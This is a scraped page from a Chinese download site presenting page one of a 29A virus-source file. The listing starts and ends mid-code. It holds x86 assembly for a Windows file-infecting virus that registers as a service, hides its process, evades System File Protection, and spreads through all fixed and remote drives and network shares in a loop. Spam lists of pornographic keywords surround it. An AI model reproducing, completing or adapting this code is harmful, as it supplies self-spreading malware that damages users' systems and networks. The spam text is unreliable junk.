亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? 29a-7.004

?? 從29A上收集的病毒源碼
?? 004
?? 第 1 頁 / 共 5 頁
字號:
        call    dword ptr [ebx + regcrcstk.rCreateServiceA]
        push    eax
        call    dword ptr [ebx + regcrcstk.rCloseServiceHandle]
        call    dword ptr [ebx + regcrcstk.rCloseServiceHandle]
        call    dword ptr [ebx + 4 + size regcrcstk + expcrcstk.pGlobalFree]
        popad

host_patch      label   near
        db      0e9h, 'rgb!'

;-----------------------------------------------------------------------------
;virus code begins here in dropped exe
;-----------------------------------------------------------------------------

junkhtml_exe    label   near
        call    walk_seh

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

execrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      (execrc_count + 1) dup (0)
execrcend       label   near
        dd      offset load_user32 - offset execrcend + 4

load_user32     label   near
        call    skip_user32
        db      "user32", 0

skip_user32     label   near
        call    dword ptr [esp + execrcstk.eLoadLibraryA + 4]
        call    init_findmz

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

usrcrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      (usrcrc_count + 1) dup (0)
usrcrcend       label   near
        dd      offset get_cmdline - offset usrcrcend + 4

;-----------------------------------------------------------------------------
;determine platform and dynamically select function types (ANSI or Unicode)
;-----------------------------------------------------------------------------

get_cmdline     label   near
        mov     ebx, esp
        call    dword ptr [ebx + size usrcrcstk + execrcstk.eGetVersion]
        shr     eax, 1fh
        lea     esi, dword ptr [eax * 4 + ebx]

;-----------------------------------------------------------------------------
;RegisterServiceProcess() if 9x/Me (just sets one bit)
;-----------------------------------------------------------------------------

        mov     ecx, dword ptr fs:[tib.TibTeb]
        or      byte ptr [ecx + teb.procflags + 1], al

;-----------------------------------------------------------------------------
;parse command-line in platform-independent way to see how file was run
;-----------------------------------------------------------------------------

        dec     ax
        mov     al, 0ffh
        xchg    edi, eax                        ;ffff if Unicode, 00ff if ANSI
        mov     eax, dword ptr [esi + usrcrcstk.uCharNextW]
        mov     dword ptr ds:[offset store_charnext - offset junkhtml_inf + expsize + 401001h], eax
        call    dword ptr [esi + size usrcrcstk + execrcstk.eGetCommandLineW]

stack_delta     label   near
        mov     ebp, dword ptr [eax]
        and     ebp, edi
        cmp     ebp, '"'                        ;Unicode-compatible compare
        je      skip_argv0
        push    ' '
        pop     ebp

skip_argv0      label   near
        push    eax
        call    dword ptr [esi + usrcrcstk.uCharNextW]
        mov     ecx, dword ptr [eax]
        and     ecx, edi
        je      argv1_skip
        cmp     ecx, ebp
        jne     skip_argv0

find_argv1      label   near
        push    eax
        call    dword ptr [esi + usrcrcstk.uCharNextW]
        mov     ecx, dword ptr [eax]
        and     ecx, edi
        cmp     ecx, ' '                        ;Unicode-compatible compare
        je      find_argv1

argv1_skip      label   near

;-----------------------------------------------------------------------------
;if argv1 exists then argv0 was run using shell\open\command so run argv1
;-----------------------------------------------------------------------------

        jecxz   stack_copy
        sub     esp, size processinfo
        mov     edx, esp
        sub     esp, size startupinfo
        mov     ecx, esp
        push    edx
        push    ecx
        xor     edx, edx
        push    edx
        push    edx
        push    edx
        push    edx
        push    edx
        push    edx
        push    eax
        push    edx
        push    ecx
        call    dword ptr [esi + size usrcrcstk + execrcstk.eGetStartupInfoW]
        call    dword ptr [esi + size usrcrcstk + execrcstk.eCreateProcessW]
        call    dword ptr [ebx + size usrcrcstk + execrcstk.eExitProcess]

;-----------------------------------------------------------------------------
;allocate stack space for RNG cache
;-----------------------------------------------------------------------------

stack_copy      label   near
        mov     ebx, dword ptr [ebx + size usrcrcstk.execrcstk.eGetTickCount]
        call    ebx                             ;RNG seed
        enter   (statelen + 1) shl 2, 0         ;RNG cache
        mov     edi, esp
        call    randinit
        mov     edi, ebx
        call    find_mzhdr

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

krncrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      (krncrc_count + 1) dup (0)
krncrcend       label   near
        dd      offset swap_create - offset krncrcend + 4

;-----------------------------------------------------------------------------
;swap CreateFileW and CreateFileMappingA because of alphabet order
;-----------------------------------------------------------------------------

swap_create     label   near
        mov     dword ptr ds:[offset store_krnapi - offset junkhtml_inf + expsize + 401003h], esp
        mov     ebx, esp
        mov     eax, dword ptr [ebx + krncrcstk.kCreateFileMappingA]
        xchg    dword ptr [ebx + krncrcstk.kCreateFileW], eax
        mov     dword ptr [ebx + krncrcstk.kCreateFileMappingA], eax

;-----------------------------------------------------------------------------
;get SFC support if available
;-----------------------------------------------------------------------------

        call    load_sfc
        db      "sfc_os", 0                     ;Windows XP (forwarder chain from sfc.dll)

load_sfc        label   near
        call    cLoadLibraryA
        test    eax, eax
        jne     found_sfc
        push    'cfs'                           ;Windows Me/2000
        push    esp
        call    cLoadLibraryA
        pop     ecx
        test    eax, eax
        je      sfcapi_esp

found_sfc       label   near
        call    init_findmz

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

sfccrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      (sfccrc_count + 1) dup (0)
sfccrcend       label   near
        dd      offset sfcapi_pop - offset sfccrcend + 4

sfcapi_pop      label   near
        pop     eax

sfcapi_esp      label   near
        mov     dword ptr ds:[offset store_sfcapi - offset junkhtml_inf + expsize + 401001h], eax

;-----------------------------------------------------------------------------
;get rest of APIs required for network thread
;-----------------------------------------------------------------------------

        push    'rpm'
        push    esp
        call    cLoadLibraryA
        pop     ecx
        call    init_findmz

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

netcrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      (netcrc_count + 1) dup (0)
netcrcend       label   near
        dd      offset netapi_esp - offset netcrcend + 4

netapi_esp      label   near
        mov     eax, dword ptr [esp + netcrcstk.nWNetCloseEnum - netcrcstk.nWNetOpenEnumW]
        mov     dword ptr [edi + offset store_netapi - offset netapi_esp + 1], eax

;-----------------------------------------------------------------------------
;initialise service table if NT/2000/XP
;-----------------------------------------------------------------------------

        call    cGetVersion
        shr     eax, 1fh
        jne     svc_main                        ;no service if 9x/Me
        push    eax
        push    eax
        mov     eax, offset regdll - offset junkhtml_inf + expsize + 401000h
        push    eax
        call    cLoadLibraryA
        call    init_findmz

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

svccrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      (svccrc_count + 1) dup (0)
svccrcend       label   near
        dd      offset start_disp - offset svccrcend + 4

start_disp      label   near
        pop     eax
        mov     ecx, esp
        add     edi, offset svc_main - offset start_disp
        push    edi
        push    ecx
        push    esp
        call    eax                             ;does not return if service launch
        add     esp, size SERVICE_TABLE_ENTRY   ;fix stack if app launch

svc_main        label   near
        push    eax
        push    esp
        xor     esi, esi
        push    esi
        push    esi
        call    create_thr1

;-----------------------------------------------------------------------------
;thread 1: infect files on all fixed and remote drive letters
;-----------------------------------------------------------------------------

find_drives     proc    near
        mov     eax, '\:A'                      ;NEC-PC98 uses A: for boot drive which can be hard disk

drive_loop      label   near
        push    eax
        push    esp
        push    (krncrcstk.kGetDriveTypeA - krncrcstk.klstrlenW) shr 2
        pop     eax
        call    store_krnapi
        sub     al, DRIVE_FIXED
        je      drive_set
        xchg    ecx, eax
        loop    drive_next                      ;loop if not DRIVE_REMOTE

drive_set       label   near
        push    esp
        call    cSetCurrentDirectoryA
        call    find_files

drive_next      label   near
        pop     eax
        inc     eax
        cmp     al, 'Z' + 1
        jne     drive_loop
        push    60 * 60 * 1000                  ;1 hour
        call    cSleep
        jmp     find_drives
find_drives     endp

create_thr1     label   near
        push    esi
        push    esi
        call    cCreateThread
        push    esp
        push    esi
        push    esi
        call    create_thr2

;-----------------------------------------------------------------------------
;thread 2: find files on network shares using non-recursive algorithm
;-----------------------------------------------------------------------------

        call    get_krnapis

find_wnet       proc    near
        xor     ebx, ebx                        ;previous handle
        xor     esi, esi                        ;previous node
        xor     edi, edi                        ;previous buffer

wnet_open       label   near
        push    eax
        push    esp
        push    edi
        push    0
        push    RESOURCETYPE_DISK
        push    RESOURCE_GLOBALNET
        call    dword ptr [ebp + netcrcstk.nWNetOpenEnumW - size netcrcstk]
        push    eax
        push    edi
        call    cGlobalFree
        pop     ecx
        pop     edi
        inc     ecx
        loop    wnet_next
        push    size wnetlist
        push    ecx                             ;GMEM_FIXED
        call    cGlobalAlloc
        mov     dword ptr [eax + wnetlist.wnetprev], esi
        mov     dword ptr [eax + wnetlist.wnethand], ebx
        xchg    esi, eax
        mov     ebx, edi

wnet_next       label   near
        push    1
        mov     eax, esp
        push    eax
        push    esp

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
91片在线免费观看| 欧美日韩www| 欧美日韩亚洲综合一区二区三区 | 国产suv精品一区二区三区| 色哟哟一区二区在线观看| 精品国产亚洲一区二区三区在线观看| 国产精品伦理一区二区| 免费在线观看成人| 欧美日韩一区二区三区四区 | 欧美一区二区三区公司| 国产精品久久久久久久浪潮网站 | 99精品视频在线观看| ww久久中文字幕| 日韩黄色一级片| 欧美视频在线播放| 亚洲色图19p| www.成人网.com| 欧美国产精品久久| 国产精品一区二区你懂的| 日韩色视频在线观看| 婷婷久久综合九色综合伊人色| 91亚洲精品久久久蜜桃网站 | 一区二区三区色| 成人av资源站| 中国色在线观看另类| 国产精品一区二区不卡| 久久蜜臀中文字幕| 国产综合色视频| 久久婷婷国产综合精品青草| 日韩福利视频网| 日韩三级视频中文字幕| 日本伊人午夜精品| 日韩一二三区不卡| 精品影院一区二区久久久| 欧美一级一区二区| 久久精品免费观看| 欧美精品一区二区三区很污很色的 | 亚洲国产成人一区二区三区| 国产成人在线影院| 18欧美亚洲精品| 色综合久久99| 天堂蜜桃91精品| 日韩欧美国产综合| 国产一二精品视频| 国产精品丝袜久久久久久app| 国产伦精品一区二区三区视频青涩| 精品久久人人做人人爱| 激情av综合网| 国产精品国产三级国产a| 一本色道久久综合亚洲精品按摩| 亚洲免费观看在线视频| 欧美视频三区在线播放| 日本少妇一区二区| 久久久777精品电影网影网 | 国产精品一二三四| 国产精品三级视频| 色婷婷综合激情| 免费在线欧美视频| 成人免费视频在线观看| 欧美日韩一区国产| 国产乱子伦视频一区二区三区| 国产精品国产三级国产专播品爱网| 欧洲另类一二三四区| 日韩黄色免费电影| 国产调教视频一区| 欧美亚洲综合一区| 国产一区二区导航在线播放| 亚洲麻豆国产自偷在线| 日韩欧美一级特黄在线播放| 成人午夜免费电影| 亚洲成在线观看| 欧美国产日韩精品免费观看| 欧美日韩一级片在线观看| 极品美女销魂一区二区三区| 亚洲日本成人在线观看| 日韩三级在线观看| 在线免费不卡视频| 国产一区二区三区香蕉 | 在线看不卡av| 国产乱色国产精品免费视频| 亚洲国产毛片aaaaa无费看| 久久视频一区二区| 懂色av一区二区三区免费看| 日日夜夜免费精品| 成人欧美一区二区三区小说| 欧美一级日韩一级| www.成人在线| 成人中文字幕合集| 麻豆一区二区99久久久久| 亚洲精品国产高清久久伦理二区| 日韩欧美中文字幕公布| 在线亚洲一区二区| 成人h动漫精品| 国产99久久久国产精品潘金| 日本欧美韩国一区三区| 一区二区三区波多野结衣在线观看| 久久久午夜电影| 欧美成人一区二区三区在线观看| 欧美天天综合网| 99精品国产一区二区三区不卡| 极品瑜伽女神91| 蜜桃精品在线观看| 日韩国产在线观看| 亚洲一级在线观看| 亚洲欧美日韩国产中文在线| 国产日韩欧美精品一区| 日韩女同互慰一区二区| 555夜色666亚洲国产免| 欧美在线免费观看视频| 91美女片黄在线观看| 成人精品在线视频观看| 成人中文字幕合集| 成人18视频日本| 波多野结衣中文字幕一区 | 欧美日韩国产在线播放网站| 91久久精品网| 欧美偷拍一区二区| 91精品久久久久久蜜臀| 欧美一区二区三区在线观看| 欧美精品123区| 日韩一区二区麻豆国产| 精品卡一卡二卡三卡四在线| 日韩你懂的电影在线观看| 精品福利在线导航| 国产亚洲污的网站| 国产精品久线在线观看| 国产精品电影一区二区三区| 亚洲天天做日日做天天谢日日欢| 亚洲欧美日本韩国| 亚洲一区二区三区美女| 奇米一区二区三区| 麻豆精品视频在线| 国产麻豆精品一区二区| 成人高清视频免费观看| 色婷婷久久99综合精品jk白丝| 在线精品视频免费播放| 日韩一区二区影院| 国产亚洲女人久久久久毛片| 国产精品久久久久久户外露出| 一区二区三区精品在线| 日韩—二三区免费观看av| 国产一区中文字幕| 一本到三区不卡视频| 91精品国产乱| 日本一区二区不卡视频| 亚洲一区在线视频| 精品一区二区三区日韩| 97精品国产露脸对白| 欧美剧在线免费观看网站| 久久先锋影音av鲁色资源网| 亚洲色图.com| 国内外成人在线| 91久久人澡人人添人人爽欧美| 欧美r级在线观看| 亚洲美女屁股眼交3| 美腿丝袜亚洲三区| 色综合婷婷久久| 久久亚洲捆绑美女| 一区二区成人在线| 国产成人精品亚洲777人妖| 欧美在线观看18| 国产女人18毛片水真多成人如厕| 亚洲自拍另类综合| 国产成人久久精品77777最新版本| 91成人免费电影| 国产精品色哟哟| 久久99国产精品麻豆| 色哟哟亚洲精品| 91麻豆国产精品久久| 亚洲欧美日韩精品久久久久| youjizz国产精品| 国产在线一区二区| 91久久精品一区二区三区| 国产日韩一级二级三级| 日韩va欧美va亚洲va久久| 97国产一区二区| 国产日韩欧美亚洲| 美女视频黄频大全不卡视频在线播放| 成人av电影观看| 久久久久亚洲蜜桃| 老司机午夜精品| 91精品午夜视频| 亚洲bt欧美bt精品| 欧美在线观看你懂的| 最近中文字幕一区二区三区| 国产精品99久久久久久有的能看 | 884aa四虎影成人精品一区| 亚洲日本在线看| 成人国产精品免费观看| 国产三区在线成人av| 韩日av一区二区| 精品入口麻豆88视频| 免费精品视频在线| 91精品欧美福利在线观看| 午夜精品久久一牛影视| 91福利视频网站| 亚洲一区二三区| 91国在线观看| 亚洲国产综合91精品麻豆| 在线精品国精品国产尤物884a|